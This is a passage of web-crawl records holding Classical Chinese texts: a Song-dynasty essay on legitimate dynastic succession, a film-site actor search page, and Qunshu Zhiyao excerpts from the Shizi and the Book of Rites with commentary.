+{"text":"正統論三首·辯論三\n始終得其正,天下合於一,是二者,必以其道得之耶?亦或不以其道得之耶?病乎或者之不以其道得之也,於是乎舉而歸之名。歐陽子曰皆正統,是以名言者也。章子曰正統,又曰霸統,是以實言者也。歐陽子以名言而純乎名,章子以實言而不盡乎實。\n章子之意,以霸統重其實,而不知實之輕自霸統始。使天下之名皆不得過乎實者,固章子意也。天下之名果不過乎實也,則吾以章子為過乎聖人。聖人不得已則不能以實傷名,而章子則能之。且吾豈不知居得其正之為正,〈(如魏受之於漢,晉受之於魏。)〉不如至公大義之為正也哉?蓋亦有不得已焉耳。如章子之說,吾將求其備。堯、舜以德,三代以德與功,漢、唐以功,秦、隋、後唐、晉、漢、周以力,晉、梁以弒。〈(不言魏者,因章子之說而與之辨)〉。以實言之,則德與功不如德,功不如德與功,力不如功,弒不如力,是堯、舜而下得統者,凡更四不如,而後至於晉、梁焉。而章子以為天下之實,盡於其正統霸統之間矣。\n歐陽子純乎名,故不知實之所止。章子雜乎實,故雖晉、梁弒君之罪,天下所不容之惡,而其實反不過乎霸。彼其初得正統之虛名,而不測其實罪之所至也。章子則告之曰:「爾,霸者也」。夫以弒君得天下而不失為霸,則章子之說,固便乎篡者也。夫章子豈曰弒君者其實止乎霸也哉,蓋已舉其實而著之名,雖欲復加之罪,而不可得也。\n夫王者沒而霸者有功於天下,吾以為在漢、唐為宜。必不得已而秦、隋、後唐、晉、漢、周得之,吾猶有憾焉,奈何其舉而加之弒君之人乎。嗚呼!吾不惜乎名而惜乎實也。霸之於王也,猶兄之於父也。聞天下之父嘗有曰堯者,而曰必堯而後父,少不若堯而降為兄,則瞽、鯀懼至仆妾焉。天下將有降父而至於仆妾者,無怪也。從章子之說者,其弊固至乎此也。\n故曰:莫若純乎名。純乎名,故晉、梁之得天下,其名曰正統,而其弒君之實,惟天下後世之所加,而吾不為之齊量焉,於是乎晉、梁之惡不勝誅於天下,實於此反不重乎。章子曰:「堯、舜曰帝,三代曰王,夏曰氏,商、周曰人,古之人輕重其君有是也。」以為其霸統之說。夫執聖人之一端以藉其口,夫何說而不可?吾亦將曰:孔子刪書,而虞、夏、商、周皆曰書,湯武王、伯禽、秦穆公皆曰誓,以為吾皆曰正統之說,其誰曰不可?聖人之於實也,不傷其名而後從之,帝亦天子也,王亦天子也,氏亦人也,人亦氏也,夫何名之傷?若章子之所謂霸統者,傷乎名而喪乎實者也。\n|本北宋作品在全世界都属于公有领域,因为作者逝世已经遠遠超过100年。|","id":"","dump":"CC-MAIN-2020-29","url":"https:\/\/zh.m.wikisource.org\/wiki\/%E6%AD%A3%E7%B5%B1%E8%AB%96%E4%B8%89%E9%A6%96%C2%B7%E8%BE%AF%E8%AB%96%E4%B8%89","date":"2020-07-14T01:17:05Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-29\/segments\/1593657147031.78\/warc\/CC-MAIN-20200713225620-20200714015620-00489.warc.gz","language":"lzh","language_score":0.4667261839,"language_script":"Hani","minhash_cluster_size":4,"top_langs":"{\"lzh_Hani_score\": 0.4667261838912964, \"cmn_Hani_score\": 0.4520675539970398, \"nan_Hani_score\": 0.05249509587883949, \"wuu_Hani_score\": 0.016079165041446686}","num_words":7,"character_repetition_ratio":0.006,"word_repetition_ratio":0.0,"special_characters_ratio":0.166,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.605,"perplexity_score":500.0,"cluster_detection":1} +{"text":"loading...\n葛優 黃渤 範偉 鄧超 沈騰 張佔義 王寶強 徐崢 閆妮 馬麗 劉敏濤 劉昊然 盧靖姍 王子文 魏翔 章宇 王硯輝 張譯 王源 張一鳴 楊新鳴 王迅 於和偉 苗阜 辣目洋子 張子賢 董子健 陶虹 吳京 韓彥博 呂行 佟麗婭 李晨 孫儷 趙鐵人 郝雲 彭昱暢 楊紫 岳雲鵬 趙海燕 嶽小軍 王俊凱 賈玲 潘斌龍 高睿菲兒 陳數 代樂樂 黃才倫 雷佳音 梁超 孫貴權 韓昊霖 嶽紅 陶亮 李易峯 許猛 郭帆\n趙又廷 白敬亭 喬欣 魏大勳 劉暢 龐瀚辰 張子賢 左小青 郝平友 霍政諺\n張子賢\n井柏然 周冬雨 田壯壯 蘇小明 張子賢\n張子賢 金士傑 陳葉生 蔣沁芸\n張子賢 李嘉宇 李世成 孫麒鵬 王晶晶\n大鵬 柳巖 張子賢 劉剛 彭波\n大鵬 柳巖 代樂樂 張子賢 田雨 孟鶴堂 陶慧 許娣 王戈 杜源 阿如那 張紹榮 張帆 夏甄 楊硯鐸 臧鴻飛 李萍 喬晟一 孟非 屈菁菁 騰格爾 葉晞月 杜維瀚\n張子賢 董晴 景松濤\n影片內的所有影片上廣告與小鴨無關,請自己做好判斷不要受騙!\n小鴨影音的所有資源都搜集自網路,不做存儲和下載,若侵犯您的權益,請電郵至vod17365#protonmail.com,我們會在48小時內處理!","id":"","dump":"CC-MAIN-2020-45","url":"https:\/\/778mov.com\/search\/-%E5%BC%B5%E5%AD%90%E8%B3%A2------------.html","date":"2020-10-28T22:35:11Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-45\/segments\/1603107902038.86\/warc\/CC-MAIN-20201028221148-20201029011148-00617.warc.gz","language":"lzh","language_score":0.6733549237,"language_script":"Hani","minhash_cluster_size":1,"top_langs":"{\"lzh_Hani_score\": 0.6733549237251282, \"cmn_Hani_score\": 0.17089787125587463, \"nan_Hani_score\": 0.14567548036575317}","num_words":116,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.265,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.724,"perplexity_score":500.0,"cluster_detection":1} +{"text":"尸 子 尸佼\n群书治要卷三十六\n劝 学\n学不倦。所以治己也。教不厌。所以治人也。是故子路卞之野人。子贡卫之贾人。颜涿聚。盗也。颛孙师。驵也。孔子教之。皆为显士。夫学。譬之犹砺也。夫昆吾之金。而铢父之锡。使于越之工铸之以为剑。而勿加砥砺。则以刺不入。以击不断。磨之砻砺。加之以黄砥。则其刺也无前。其击也无下。自是观之。砺之与弗砺。其相去远矣。\n今人皆知砺其剑。而弗知砺其身。夫学。身之砺砥也。夫子曰。车唯恐地之不坚也。舟唯恐水之不深也。有其器则以人之难为易。夫道以人之难为易也。是故曾子曰。父母爱之。喜而不忘。父母恶之。惧而无咎。然则爱与恶。其于成孝也无择也。史鰌曰。君亲而近之。至敬以逊。貌而疏之。敬无怨。然则亲与疏。其于成忠无择也。孔子曰。自娱于檃括之中。直己而不直人。以善废而不邑邑。蘧伯玉之行也。然则兴与废。其于成善无择也。屈侯附曰。贤者易知也。观其富之所分。达之所进。穷之所不取。然则穷与达。其于成贤无择也。是故爱恶亲疏。废兴穷达。皆可以成义。有其器也。\n桓公之举管仲。穆公之举百里。比其德也。此所以国甚僻小。身至秽污。而为政于天下也。今非比志意也。比容貌。非比德行也。而论爵列。亦可以却敌服远矣。农夫比粟。商贾比财。烈士比义。是故监门逆旅。农夫陶人。皆得与焉。爵列。私贵也。德行。公贵也。奚以知其然也。司城子罕遇乘封人而下。其仆曰。乘封人也。奚为下之。子罕曰。古之所谓良人者。良其行也。贵人者。贵其心也。今天爵而人。良其行而贵其心。吾敢弗敬乎。以是观之。古之所谓贵。非爵列也。所谓良。非先故也。\n人君贵于一国。而不达于天下。天子贵于一世。而不达于后世。唯德行与天地相弊也。爵列者。德行之舍也。其所息也。诗曰。蔽芾甘棠。勿翦勿败。召伯所憩。仁者之所息。人不敢败也。天子诸侯人之所以贵也。桀纣处之则贱矣。是故曰。爵列非贵也。今天下贵爵列而贱德行。是贵甘棠而贱召伯也。亦反矣。夫德义也者。视之弗见。听之弗闻。天地以正。万物以遍。无爵而(而旧作与。改之)贵。不禄而尊也。\n贵 言\n范献子游于河。大夫皆存。君曰。孰知栾氏之子。大夫莫答。舟人清涓舍楫而答曰。君奚问栾氏之子为。君曰。自吾亡栾氏也。其老者未死而少者壮矣。吾是以问之。清涓曰。君善修晋国之政。内得大夫而外不失百姓。虽栾氏之子。其若君何。君若不修晋国之政。内不得大夫而外失百姓。则舟中之人。皆栾氏之子也。君曰。善哉言。明日朝。令赐舟人清涓田万亩。清涓辞。君曰。以此田也。易彼言也。子尚丧。寡人犹得也。古之贵言也若此。\n臣天下。一天下也。一天下者。令于天下则行。禁焉则止。桀、纣令天下而不行。禁焉而不止。故不得臣也。目之所美。心以为不义。弗敢视也。口之所甘。心以为非义。弗敢食也。耳之所乐。心以为不义。不敢听也。身之所安。心以为不义。弗敢服也。然则令于天下而行。禁焉而止者。心也。故曰。心者。身之君也。天子以天下受令于心。心不当则天下祸。诸侯以国受令于心。心不当则国亡。匹夫以身受令于心。心不当则身为戮矣。祸之始也易除。其除之。不可者避之。及其成也。欲除之不可。欲避之不可。治于神者。其事少而功多。\n干霄之木。始若蘖足。易去也。及其成达也。百人用斧斤。弗能偾也。熛火始起易息也。及其焚云梦。孟诸。虽以天下之役。抒江汉之水。弗能救也。夫祸之始也。犹熛火蘖足也。易止也。及其措于大事。虽孔子、墨翟之贤。弗能救也。屋焚而人救之。则知德之。年老者。使涂隙戒突。故终身无失火之患。而不知德也。入于囹圄。解于患难者。则三族德之。教之以仁义慈悌。则终身无患而莫之德。夫祸亦有突。贤者行天下而务塞之。则天下无兵患矣。而莫之知德也。故曰。圣人治于神。愚人争于神也。\n天地之道。莫见其所以长物而物长。莫见其所以亡物而物亡。圣人之道亦然。其兴福也。人莫之见而福兴矣。其除祸也。人莫之知而祸除矣。故曰。神人益天下以财为仁。劳天下以力为义。分天下以生为神。修先王之术。除祸难之本。使天下丈夫耕而食。妇人织而衣。皆得戴其首。父子相保。此其分万物以生。盈天下以财。不可胜计也。神也者。万物之始。万事之纪也。\n四 仪\n行有四仪。一曰志动不忘仁。二曰智用不忘义。三曰力事不忘忠。四曰口言不忘信。慎守四仪。以终其身。名功之从之也。犹形之有影。声之有响也。是故志不忘仁则中能宽裕。智不忘义则行有文理。力不忘忠则动无废功。口不忘信则言若符节。若中宽裕而行文理。动有功而言可信也。虽古之有厚功大名。见于四海之外。知万世之后者。其行身也无以加于此矣。\n明 堂\n夫高显尊贵。利天下之径也。非仁者之所以轻也。何以知其然耶。日之能烛远。势高也。使日在井中。则不能烛十步矣。舜之方陶也。不能利其巷下。南面而君天下。蛮夷戎狄。皆被其福。目在足下。则不可以视矣。天高明。然后能烛临万物。地广大。然后能载任群体。其本不美。则其枝叶茎心不得美矣。此古今之大径也。是故圣王谨修其身以君天下。则天道至焉。地道稽焉。万物度焉。\n古者。明王之求贤也。不避远近。不论贵贱。卑爵以下贤。轻身以先士。故尧从舜于畎亩之中。北面而见之。不争礼貌。此先王之所以能正天地。利万物之故也。今诸侯之君。广其土地之富。而奋其兵革之强。以骄士。士亦务其德行。美其道术。以轻上。此仁者之所非也。曾子曰。取人者必畏。与人者必骄。今说者怀畏而听者怀骄。以此行义。不亦难乎。非求贤务士而能致大名于天下者。未之尝闻也。\n夫士不可妄致也。覆巢破卵。则凤皇不至焉。刳胎焚夭。则骐麟不往焉。竭泽漉鱼。则神龙不下焉。夫禽兽之愚。而不可妄致也。而况于火食之民乎。是故曰。待士不敬。举士不信。则善士不往焉。听言耳目不瞿。视听不深。则善言不往焉。孔子曰。大哉河海乎。下之也。夫河下天下之川。故广。人下天下之士。故大。故曰。下士者得贤。下敌者得友。下众者得誉。故度于往古。观于先王。非求贤务士而能立功于天下。成名于后世者。未之尝有也。夫求士不遵其道而能致士者。未之尝见也。然则先王之道可知已。务行之而已矣。\n分\n天地生万物。圣人裁之。裁物以制分。便事以立官。君臣父子。上下长幼。贵贱亲疏。皆得其分曰治。爱得分曰仁。施得分曰义。虑得分曰智。动得分曰适。言得分曰信。皆得其分而后为成人。\n明王之治民也。事少而功立。身逸而国治。言寡而令行。事少而功多。守要也。身逸而国治。用贤也。言寡而令行。正名也。君人者。苟能正名。愚智尽情。执一以静。令名自正。令事自定。赏罚随名。民莫不敬。周公之治天下也。酒肉不彻于前。钟鼓不解于悬。听乐而国治。劳无事焉。饮酒而贤举。智无事焉。自为而民富。仁无事焉。知此道也者。众贤为役。愚智尽情矣。\n明王之道易行也。劳不进一步。听狱不后皋陶。食不损一味。富民不后虞舜。乐不损一日。用兵不后汤、武。书之不盈尺简。南面而立。一言而国治。尧、舜复生。弗能更也。身无变而治。国无变而王。汤、武复生。弗能更也。\n执一之道。去智与巧。有虞之君天下也。使天下贡善。殷、周之君天下也。使天下贡才。夫至众贤而能用之。此有虞之盛德也。三人之所废。天下弗能兴也。三人之所兴。天下弗能废也。亲曰不孝。君曰不忠。友曰不信。天下弗能兴也。亲言其孝。君言其忠。友言其信。天下弗能废也。夫符节合之。则是非自见。行亦有符。三者合。则行自见矣。此所以观行也。\n诸治官临众者。上比度以观其贤。案法以观其罪。吏虽有邪僻。无所逃之。所以观胜任也。群臣之愚智。日劾于前。择其知事者而令之谋。群臣之所举。日劾于前。择其知人者而令之举。群臣之治乱。日劾于前。择其胜任者而令之治。群臣之所行。可得而察也。择其贤者而举之。则民竞于行。胜任者治。则百官不乱。知人者举。则贤者不隐。知事者谋。则大举不失。圣王正言于朝。而四方治矣。是故曰。正名去伪。事成若化。以实覆名。百事皆成。夫用贤使能。不劳而治。正名覆实。不罚而威。达情见素。则是非不蔽。复本原始。则言若符节。良工之马易御也。圣王之民易治也。其此之谓乎。\n发 蒙\n若夫名分。圣之所审也。造父之所以与交者少。操辔。马之百节皆舆。明王之所以与臣下交者少。审名分。群臣莫敢不尽力竭智矣。天下之可治。分成也。是非之可辨。名定也。无(无可疑)过其实。罪也。弗及。愚也。是故情尽而不伪。质素而无巧。故有道之君。其无易听。此名分之所审也。\n若夫临官治事者。案其法则民敬事。任士进贤者。保其后则民慎举。议国亲事者。尽其实则民敬言。孔子曰。临事而惧。希不济。易曰。若履虎尾。终之吉。若群臣之众皆戒慎恐惧。若履虎尾。则何不济之有乎。君明则臣少罪。夫使众者。诏作则迟。分地则速。是何也。无所逃其罪也。言亦有地。不可不分也。\n君臣同地。则臣有所逃其罪矣。故陈绳则木之枉者有罪。措准则地之险者有罪。审名分则群臣之不审者有罪。夫爱民且利之也。爱而不利。则非慈母之德也。好士。且知之也。好而弗知。则众而无用也。力于朝。且治之也。力而弗治。则劳而无功矣。三者虽异。道一也。是故曰。审一之经。百事乃成。审一之纪。百事乃理。名实判为两。合为一。是非随名实。赏罚随是非。是则有赏。非则有罚。人君之所独断也。\n明君之立也正。其貌壮。其心虚。其视不躁。其听不淫。审分应辞。以立于廷。则隐匿疏远。虽有非焉。必不多矣。明君不用长耳目。不行间谍。不强闻见。形至而观。声至而听。事至而应。近者不过。则远者治矣。明者不失。则微者敬矣。家人子侄和。臣妾力。则家富。丈人虽厚衣食。无伤也。子侄不和。臣妾不力。家贫。丈人虽薄衣食。无益也。而况于万乘之君乎。\n国之所以不治者三。不知用贤。此其一也。虽知用贤。求不能得。此其二也。虽得贤。不能尽。此其三也。正名以御之。则尧、舜之智必尽矣。明分以示之。则桀、纣之暴必止矣。贤者尽。暴者止。则治民之道不可以加矣。\n听朝之道。使人有分。有大善者。必问孰进之。有大过者。必云孰任之。而行赏罚焉。且以观贤不肖也。今有大善者不问孰进之。有大过者不问孰任之。则有分无益已。问孰任之而不行赏罚。则问之无益已。是非不得尽见谓之蔽。见而弗能知谓之虚。知而弗能赏谓之纵。三者乱之本也。明分则不蔽。正名则不虚。赏贤罚暴则不纵。三者治之道也。\n于群臣之中。贤则贵之。不肖则贱之。治则使之。不治则爱之。不忠则罪之。贤不肖。治不治。忠不忠。由是观之。犹白黑也。陈绳而斫之。则巧拙易知也。夫观群臣亦有绳。以名引之。则虽尧、舜不服矣。虑事而当。不若进贤。进贤而当。不若知贤。知贤又能用之。备矣。\n治天下之要。在于正名。正名去伪。事成若化。苟能正名。天成地平。为人臣者以进贤为功。为人君者以用贤为功。为人臣者进贤。是自为置上也。自为置上而无赏。是故不为也。进不肖者。是自为置下也。自为置下而无罪。是故为之也。使进贤者必有赏。进不肖者必有罪。无敢进也者为无能之人。若此。则必多进贤矣。\n恕\n恕者。以身为度者也。己所不欲。毋加诸人。恶诸人则去诸己。欲诸人则求诸己。此恕也。农夫之耨。去害苗者也。贤者之治。去害义者也。虑之无益于义而虑之。此心之秽也。道之无益于义而道之。此言之秽也。为之无益于义而为之。此行之秽也。\n虑中义则智为上。言中义则言为师。事中义则行为法。射不善而欲教人。人不学也。行不修而欲谈人。人不听也。夫骥唯伯乐独知之。不害其为良马也。行亦然。唯贤者独知之。不害其为善士也。\n治天下\n治天下有四术。一曰忠爱。二曰无私。三曰用贤。四曰度量。度量通则财足矣。用贤则多功矣。无私。百智之宗也。忠爱。父母之行也。奚以知其然。父母之所畜子者。非贤强也。非聪明也。非俊智也。爱之忧之。欲其贤己也。人利之与我利之无择也。此父母所以畜子也。然则爱天下欲其贤己也。人利之与我利之无择也。则天下之畜亦然矣。此尧之所以畜天下也。\n有虞氏盛德。见人有善。如己有善。见人有过。如己有过。天无私于物。地无私于物。袭此行者。谓之天子。诚爱天下者得贤。奚以知其然也。弱子有疾。慈母之见秦医也不争礼貌。在囹圄。其走大吏也不爱资财。视天下若子。是故其见医者不争礼貌。其奉养也不爱资财。故文王之见太公望也。一日五反。桓公之奉管仲也。列城有数。此所以其僻小身至秽污。而为正于天下也。郑简公谓子产曰。饮酒之不乐。钟鼓之不鸣。寡人之任也。国家之不入(入疑乂)。朝廷之不治。与诸侯交之不得志。子之任也。子产治郑国无盗贼。道无饿人。孔子曰。若郑简公之好乐。虽抱钟而朝可也。夫用贤。身乐而名附。事少而功多。国治而能逸。\n凡治之道莫如因智。智之道莫如因贤。譬之犹相马而借伯乐也。相玉而借猗顿也。亦必不过矣。今有人于此。尽力以为舟。济大水而不用也。尽力以为车。行远而不乘也。则人必以为无慧。今人尽力以学。谋事则不借智。处行则不因贤。舍其学不用也。此其无慧也。有甚于舍舟而涉。舍车而走者矣。\n仁 意\n治水潦者禹也。播五种者后稷也。听狱折衷者皋陶也。舜无为也。而天下以为父母。爱天下莫甚焉。天下之善者唯仁也。夫丧其子者。苟可以得之。无择人也。仁者之于善也亦是。然故尧举舜于畎亩。汤举伊尹于雍人。内举不避亲。外举不避仇。仁者之于善也。无择也。无恶也。唯善之所在。尧问于舜曰。何事。舜曰。事天。平地而注水。水流湿。均薪而施火。火从燥。召之类也。是故尧为善而众美至焉。桀为非而众恶至焉。\n广\n因井中视星。所视不过数星。自丘上以视。则见其始出。又见其入。非明益也。势使然也。夫私心。井中也。公心。丘上也。故智载于私则所知少。载于公则所知多矣。何以知其然。夫吴越之国。以臣妾为徇。中国闻而非之。恕(恕疑怒。下同)则以亲戚徇一言。夫智在公则爱吴越之臣妾。在私则忘其亲戚。非智损也。恕弇之也。好亦然。语曰。莫知其子之恶也。非智损也。爱弇之也。是故夫论贵贱。辨是非者。必且自公心言之。自公心听之。而后可知也。匹夫爱其宅。不爱其邻。诸侯爱其国。不爱其敌。天子兼天下而爱之大也。\n绰 子\n尧养无告。禹爱辜人。汤、武及禽兽。此先王之所以安危而怀远也。圣人于大私之中也为无私。其于大好恶之中也为无好恶。舜曰。南风之薰兮。可以解吾民之愠兮。舜不歌禽兽而歌民。汤曰。朕身有罪。无及万方。万方有罪。朕身受之。汤不私其身而私万方。文王曰。苟有仁人。何必周亲。不私其亲而私万国。先王非无私也。所私者与人不同也。\n处 道\n孔子曰。欲知则问。欲能则学。欲给则豫。欲善则肄。国乱则择其邪人去之。则国治矣。胸中乱则择其邪欲而去之。则德正矣。天下非无盲者也。美人之贵。明目者众也。天下非无聋者也。辨士之贵。聪耳者众也。天下非无乱人也。尧、舜之贵。可教者众也。\n孔子曰。君子者盂也。民者水也。盂方则水方。盂圆则水圆。上何好而民不从。昔者。勾践好勇而民轻死。灵王好细腰而民多饿。夫死与饿。民之所恶也。君诚好之。百姓自然。而况仁义乎。桀、纣之有天下也。四海之内皆乱。而关龙逄、王子比干不与焉。而谓之皆乱。其乱者众也。尧舜之有天下也。四海之内皆治。而丹朱、商均不与焉。而谓之皆治。其治者众也。故曰。君诚服之。百姓自然。卿大夫服之。百姓若逸。官长服之。百姓若流。夫民之可教者众。故曰犹水也。\n德者。天地万物得也。义者。天地万物宜也。礼者。天地万物体也。使天地万物皆得其宜。当其体者。谓之大仁。食所以为肥也。壹饭而问人曰奚若。则皆笑之。夫治天下大事也。今人皆壹饭而问奚若者也。善人以治天地则可矣。我奚为而人善。仲尼曰。得之身者得之民。失之身者失之民。不出于户而知天下。不下其堂而治四方。知反之于己者也。以是观之。治己则人治矣。\n神 明\n仁义圣智参天地。天若不覆。民将何恃何望。地若不载。民将安居安行。圣人若弗治。民将安率安将。是故天覆之。地载之。圣人治之。圣人之身犹日也。夫日圆尺。光盈天地。圣人之身小。其所烛远。圣人正己而四方治矣。上纲苟直。百目皆开。德行苟直。群物皆正。正也者。正人者也。身不正则人不从。是故不言而信。不怒而威。不施而仁。有诸心而彼正。谓之至政。今人曰。天乱矣。难以为善。此不然也。夫饥者易食。寒者易衣。此乱而后易为德也。","id":"","dump":"CC-MAIN-2021-04","url":"https:\/\/lingdaoli.com\/docs\/%E5%A2%9E%E8%A1%A5%E5%B0%B8%E5%AD%90%E6%B2%BB%E8%A6%81\/","date":"2021-01-28T05:14:29Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-04\/segments\/1610704835901.90\/warc\/CC-MAIN-20210128040619-20210128070619-00288.warc.gz","language":"lzh","language_score":0.4666020572,"language_script":"Hani","minhash_cluster_size":3,"top_langs":"{\"lzh_Hani_score\": 0.46660205721855164, \"cmn_Hani_score\": 0.30786311626434326, \"nan_Hani_score\": 0.04763634875416756, \"jpn_Jpan_score\": 0.04350927472114563, \"wuu_Hani_score\": 0.041746173053979874, \"zxx_Latn_score\": 0.018702931702136993}","num_words":63,"character_repetition_ratio":0.004,"word_repetition_ratio":0.0,"special_characters_ratio":0.177,"stopwords_ratio":0.032,"flagged_words_ratio":0.0,"lang_id_score":0.467,"perplexity_score":500.0,"cluster_detection":1} +{"text":"礼 记\n群书治要卷七\n曲 礼\n曲礼曰。毋不敬。礼主于敬。俨若思。言人坐思。貌必俨然。安定辞。审言语也。安民哉。此三句可以安民也。\n傲不可长。欲不可从。志不可满。乐不可极。此四者。慢游之道。桀纣所以自祸也。\n贤者狎而敬之。狎。习也。近也。习其所行。畏而爱之。心服曰畏。爱而知其恶。憎而知其善。不可以己心之爱憎。诬人以善恶。\n夫礼者所以定亲疏。决嫌疑。别同异。明是非也。\n道德仁义。非礼不成。教训正俗。非礼不备。分争辨讼。非礼不决。君臣上下。父子兄弟。非礼不定。宦学事师。非礼不亲。班朝治军。莅官行法。非礼感严不行。祷祠祭祀。供给鬼神。非礼不诚不庄。班。次也。莅。临也。庄。敬也。\n富贵而知好礼。则不骄不淫。贫贱而知好礼。则志不慑。慑犹怯惑。\n国君春田不围泽。大夫不掩群。士不取麛卵。生乳之时。重伤其类。\n岁凶。年谷不登。登。成也。君膳不祭肺。马不食谷。驰道不除。祭事不县。大夫不食粱。士饮酒不乐。皆自为贬损。忧民也。礼。食杀牲祭先。不祭肺。则不杀。除。治也。县。乐器。钟磬之属也。\n檀 弓\n知悼子卒。未葬。悼子。晋大夫荀盈也。平公饮酒。师旷。李调侍。鼓钟。杜蒉自外来。历阶而升堂。酌曰。旷饮斯。又酌曰。调饮斯。又酌堂上北面坐饮之。降。趋而出。三酌皆罚爵。平公呼而进之曰。蒉。尔饮旷何也。曰。子卯不乐。纣以甲子死。桀以乙卯亡。王者谓之疾日。不以举乐。所以自戒惧也。知悼子之丧在堂。未葬。斯其为子卯也。大矣。言大夫丧重于疾日。旷也。大师也。不以诏。是以饮之。诏。吿也。太师典司奏乐也。尔饮调何也。曰。调也。君之亵臣也。为一饮一食忘君之疾。是以饮之。言调贪酒食也。亵。嬖也。近臣亦当规君。疾。忧也。尔饮何也。曰。蒉也。宰夫也。非刀匕是供。又敢与知防。是以饮也。防。禁放溢者也。平公曰。寡人亦有过焉。酌而饮寡人。闻义则服。杜蒉洗爵而扬觯。举爵于君。公谓侍者曰。如我死。则必无废斯爵。欲后世以为戒。至于今既毕献斯扬觯。谓之杜举。此爵遂因杜蒉为名。毕献。献宾与君也。\n孔子过泰山侧。有妇人哭于墓者而哀。夫子式而听之。怪其哀甚也。使子贡(子贡作子路)。问之。曰。昔吾舅死于虎。吾夫又死焉。今吾子又死焉。夫之父曰舅。夫子曰。何为不去。曰。无苛政。夫子曰。小子识之。苛政猛于虎也。\n阳门之介夫死。阳门。宋国门也。介夫。甲胄衞士。司城子罕入而哭之哀。子罕。乐喜也。晋人之觇宋者。反报于晋侯曰。阳门之介夫死。而子罕哭之哀。而民悦。殆不可伐也。觇。窥视也。孔子闻之曰。善哉。觇国乎。善其知微。\n王 制\n凡官民材。必先论之。论。谓考其德行道艺也。论辨。然后使之。辨。谓考问得其定也。任事。然后爵之。爵。谓正其秩次。位定。然后禄之。爵人于朝。与士共之。刑人于市。与众弃之。必共之者。所以审慎之。\n獭祭鱼。然后虞人入泽梁。豺祭兽。然后田猎。鸠化为鹰。然后设罻罗。草木零落。然后入山林。昆虫未蛰。不以火田。取物必顺时候也。昆虫者。得阳而生。得阴而藏也。\n国无九年之蓄曰不足。无六年之蓄曰急。无三年之蓄曰国非其国也。三年耕。必有一年之食。九年耕。必有三年之食。以三十年之通。虽有凶旱水溢。民无菜色。然后天子食日举以乐。民无食菜之饥色。天子乃日举乐以食也。\n月 令\n孟春之月。立春之日。天子亲率三公、九卿、诸侯、大夫以迎春于东郊。命相布德和令。行庆施惠。下及兆民。相。谓三公相王之事者也。德。谓善教也。令。谓时禁也。庆。谓休其善也。惠。谓恤其不足也。是月也。天子乃以元日祈谷于上帝。谓以上辛郊祭天也。郊祀后稷以祈农事也。上帝。太微之帝也。乃择元辰。天子亲帅三公九卿诸侯大夫耕躬帝籍。元辰。盖郊后吉辰也。帝借。为天神借民力所治之田也。禁止伐木。盛德所在。毋覆巢。毋杀孩虫。胎夭飞鸟。毋麛毋卵。为伤萌幼之类。毋聚大众。毋置城郭。为妨农之始也。掩骼埋胔。为死气逆生气也。骨枯曰骼。肉腐曰胔也。不可称兵。称兵必有夭殃。逆生气也。\n仲春之月。养幼少。存诸孤。助生气也。命有司省囹圄。去桎梏。毋肆掠。顺阳气也。省。减也。肆。谓死刑暴尸。毋竭川泽。毋漉陂池。毋焚山林。顺阳养物。\n季春之月。天子布德行惠。命有司发仓廪。赐贫穷。振乏绝。振犹救也。开府库出币帛。聘名士。礼贤者。聘。问也。名士不仕者。命司空曰。时雨将降。下水上腾。修利堤坊。导达沟渎。开通道路。毋有鄣塞。所以除水潦。便民事也。田猎罝罦罗罔毕翳餧兽之药。无出九门。为逆天时也。天子九门也。命野虞毋伐桑柘。爱蚕食也。野虞谓主田及山林之官。后妃斋戒。亲帅(无帅字)东向躬桑。禁妇女无观。省妇使以劝蚕事。后妃亲采桑。示帅先天下也。东向者。向时气。无观。去容饰也。妇使缝线组紃之事。命工师。百工咸理。监工日号。无悖于时。毋或作为淫巧以荡上心。咸。皆也。于百工皆治理其事之时。工师则监之。日号令戒之。以此二事。百工作器物各有时。逆之则功不善也。淫巧。谓伪饰不如法也。荡。谓动之使生奢泰。\n孟夏之月。无起土功。毋发大众。为妨蚕农之事。命野虞劳农。命农勉作。毋休于都。急趣农事。\n仲夏之月。命有司为民祈祀山川百源。大雩帝。乃命百县雩祀百辟卿士有益于民者。以祈谷实。阳气盛而恒旱。山川百原。能兴云雨者也。雩帝。谓雩五精之帝也。百辟卿士。古者上公以下。若句龙。后稷之类。\n季夏之月。树木方盛。无有斩伐。为其未坚靭也。毋发令而待。以妨神农之事。发令而待。谓出徭役之令以豫惊民。民惊则心动。是害土神之气也。土神称曰神农者。以其主于稼穑也。水潦盛昌。举大事则有天殃。\n孟秋之月。乃命将帅选士厉兵。命大理审断刑。命百官完堤坊。谨壅塞。以备水潦。\n仲秋之月。养衰老。授几杖。乃命有司趣民收敛。务蓄菜。多积聚。为御冬之备也。乃劝民种麦。毋或失时。麦者。接绝续乏之谷。尤重之也。\n季秋之月。命冢宰举五谷之要。定其租税簿。藏帝籍之收于神仓。霜始降。百工咸休。寒而胶漆作不坚好。\n孟冬之月。赏死事。恤孤寡。死事。谓以国事死也。命百官谨盖藏。谓府库囷仓也。固封疆。备边境。完要塞。谨关梁。大饮烝。十月农功毕。天子诸侯与其群臣饮酒于大学以正齿位。谓之大饮。天子乃祈来年于天宗。祀(祀作祠)于公社。及门闾。腊先祖五祀。此周礼所谓蜡祭也。天宗。谓日月星辰也。五祀。门。户。中霤。灶。行。劳农以休息之。党正属民饮酒正齿位是也。天子乃命将帅讲武。习射御。\n仲冬之月。天子乃命有司祈祀四海大川山林薮泽。有能取蔬食。田猎禽兽者。野虞教导之。务收敛野物也。大泽曰薮。草木之实为蔬食。\n季冬之月。命取冰。冰已入。令吿民出五种。命田官告民出五种。明大寒气过。农事将起。命农计耦耕事。修耒耜。具田器。天子乃与公卿大夫共饬国典。论时令。以待来岁之宜。饬国典者。和六典之法也。周礼以正月为之也。\n文王世子\n文王之为世子。朝于王季日三。鸡初鸣而起。衣服至于寝门外。问内竖之御者曰。今日安否何如。内竖。小臣之属。掌外内之通令者。御。如今小吏直日也。内竖曰。安。文王乃喜。及日中又至。亦如之。及暮又至。亦如之。其有不安节则内竖以吿文王。文王色忧。行不能正履。节。谓居处故事也。履。蹈地也。王季复膳。然后亦复初。食上。必在视寒暖之节。在。察也。食下。问所膳。膳。所食也。然后退。武王帅而行之。帅。循也。文王有疾。武王不脱冠带而养。言常在